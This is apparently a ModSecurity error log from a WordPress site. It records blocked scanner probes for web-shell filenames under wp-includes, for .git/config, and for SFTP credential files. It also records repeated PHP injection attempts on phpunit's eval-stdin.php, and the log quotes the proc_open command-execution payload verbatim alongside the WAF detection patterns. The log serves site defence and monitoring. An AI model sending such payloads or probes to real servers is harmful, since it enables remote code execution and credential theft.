[Wed Nov 26 18:21:46.823195 2025] [:error] [pid 45685:tid 45743] [client 194.54.144.73:42858] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "aSbUulj3f_NRdgU0DQ7LmgAAAQE"]
[Wed Nov 26 18:21:47.231317 2025] [:error] [pid 6471:tid 6484] [client 194.54.144.73:42868] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aSbUu-h3Z9TZLlRuTiN-UgAAAIo"]
[Wed Nov 26 18:21:48.059948 2025] [:error] [pid 45769:tid 45783] [client 194.54.144.73:42884] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "aSbUvFdG5Eht9c3yy4MWvwAAAcs"]
[Wed Nov 26 18:21:48.679159 2025] [:error] [pid 6471:tid 6492] [client 194.54.144.73:42900] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSbUvOh3Z9TZLlRuTiN-VQAAAJI"]
[Wed Nov 26 18:21:49.297125 2025] [:error] [pid 45684:tid 45726] [client 194.54.144.73:42902] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/load.php"] [unique_id "aSbUvfg5LMxwI4-PD1cxJAAAAAs"]
[Wed Nov 26 18:21:49.707639 2025] [:error] [pid 45685:tid 45742] [client 194.54.144.73:42910] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aSbUvVj3f_NRdgU0DQ7LnAAAAQA"]
[Wed Nov 26 18:21:50.117879 2025] [:error] [pid 45684:tid 45736] [client 194.54.144.73:42922] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aSbUvvg5LMxwI4-PD1cxJgAAABU"]
[Wed Nov 26 18:21:51.152469 2025] [:error] [pid 45684:tid 45719] [client 194.54.144.73:42926] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aSbUv_g5LMxwI4-PD1cxKwAAAAQ"]
[Wed Nov 26 18:21:51.769025 2025] [:error] [pid 45684:tid 45717] [client 194.54.144.73:43276] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aSbUv_g5LMxwI4-PD1cxLgAAAAI"]
[Wed Nov 26 18:21:52.799879 2025] [:error] [pid 45769:tid 45784] [client 194.54.144.73:43280] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aSbUwFdG5Eht9c3yy4MWxAAAAcw"]
[Wed Nov 26 18:21:54.614255 2025] [:error] [pid 45684:tid 45732] [client 194.54.144.73:43296] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aSbUwvg5LMxwI4-PD1cxMwAAABE"]
[Wed Nov 26 18:21:55.229595 2025] [:error] [pid 46443:tid 46452] [client 194.54.144.73:43306] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aSbUw8LmDsnHrj-QFB_N3QAAAEc"]
[Wed Nov 26 18:21:57.528256 2025] [:error] [pid 6471:tid 6482] [client 194.54.144.73:43308] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "aSbUxeh3Z9TZLlRuTiN-ZAAAAIg"]
[Wed Nov 26 18:21:58.149527 2025] [:error] [pid 20733:tid 20739] [client 194.54.144.73:43318] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aSbUxgV9EP2HuRvnH8dKuQAAAMQ"]
[Wed Nov 26 18:21:58.980003 2025] [:error] [pid 45684:tid 45739] [client 194.54.144.73:43322] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aSbUxvg5LMxwI4-PD1cxPQAAABg"]
[Wed Nov 26 18:21:59.388768 2025] [:error] [pid 45683:tid 45709] [client 194.54.144.73:43334] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aSbUxxX1gQgNFW_222qeQQAAAVU"]
[Wed Nov 26 18:21:59.797542 2025] [:error] [pid 20733:tid 20741] [client 194.54.144.73:43344] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aSbUxwV9EP2HuRvnH8dKuwAAAMY"]
[Wed Nov 26 20:32:34.611717 2025] [:error] [pid 6471:tid 6487] [client 182.42.111.213:48505] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSbzYuh3Z9TZLlRuTiOglQAAAI0"]
[Wed Nov 26 21:41:34.026224 2025] [:error] [pid 45769:tid 45773] [client 216.126.239.203:43474] [client 216.126.239.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aScDjldG5Eht9c3yy4NBHwAAAcE"]
[Thu Nov 27 00:54:00.530833 2025] [:error] [pid 24826:tid 25133] [client 103.77.107.57:49789] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aScwqFEvPXLVl-nh-yLcqgAAARE"]
[Thu Nov 27 00:54:02.255872 2025] [:error] [pid 24826:tid 25135] [client 103.77.107.57:63514] [client 103.77.107.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aScwqlEvPXLVl-nh-yLcqwAAARM"]
[Thu Nov 27 01:14:33.537519 2025] [:error] [pid 8184:tid 8247] [client 131.255.20.238:6494] [client 131.255.20.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 131.255.20.238, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSc1eb-M2IHkRYVrcbOC3QAAAEo"]
[Thu Nov 27 06:24:01.320797 2025] [ssl:error] [pid 21017:tid 21071] [client 15.204.183.221:35218] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://measureyourbrand.com/
[Thu Nov 27 07:05:06.689926 2025] [ssl:error] [pid 48930:tid 49012] [client 15.204.183.221:9754] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://www.measureyourbrand.com/
[Thu Nov 27 08:05:19.524115 2025] [:error] [pid 11839:tid 11868] [client 124.108.54.86:50107] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeVvzB6WBlDbR9ZWPSFpQAAARg"]
[Thu Nov 27 08:05:20.749900 2025] [:error] [pid 11841:tid 11873] [client 124.108.54.86:50190] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeVwCxHBymLDGDXC0W-BwAAAII"]
[Thu Nov 27 08:05:21.197433 2025] [:error] [pid 11948:tid 11952] [client 124.108.54.86:50226] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeVwVRlqxYLiwd-HXOUagAAAMI"]
[Thu Nov 27 08:05:22.023102 2025] [:error] [pid 11903:tid 11918] [client 124.108.54.86:50251] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeVwZO48uDhZzqEKnABzgAAAEw"]
[Thu Nov 27 08:05:23.493855 2025] [:error] [pid 11948:tid 11960] [client 124.108.54.86:50327] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeVw1RlqxYLiwd-HXOUbgAAAMo"]
[Thu Nov 27 08:05:25.765735 2025] [:error] [pid 11839:tid 11854] [client 124.108.54.86:50400] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeVxTB6WBlDbR9ZWPSFsAAAAQo"]
[Thu Nov 27 08:05:38.646748 2025] [:error] [pid 11948:tid 11972] [client 124.108.54.86:51432] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeV0lRlqxYLiwd-HXOUmgAAANY"]
[Thu Nov 27 08:05:39.064763 2025] [:error] [pid 11841:tid 11894] [client 124.108.54.86:51464] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeV0yxHBymLDGDXC0W-EAAAAJc"]
[Thu Nov 27 08:05:39.361233 2025] [:error] [pid 11948:tid 11952] [client 124.108.54.86:51501] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeV01RlqxYLiwd-HXOUmwAAAMI"]
[Thu Nov 27 08:05:40.667447 2025] [:error] [pid 11948:tid 11954] [client 124.108.54.86:51657] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeV1FRlqxYLiwd-HXOUnQAAAMQ"]
[Thu Nov 27 08:05:42.843421 2025] [:error] [pid 11948:tid 11957] [client 124.108.54.86:51752] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeV1lRlqxYLiwd-HXOUoAAAAMc"]
[Thu Nov 27 08:05:44.386037 2025] [:error] [pid 11839:tid 11852] [client 124.108.54.86:51900] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeV2DB6WBlDbR9ZWPSFxQAAAQg"]
[Thu Nov 27 08:07:39.412018 2025] [:error] [pid 13352:tid 13394] [client 124.108.54.86:60762] [client 124.108.54.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aSeWSx2WzmppNEsKG3zK2AAAAIM"]
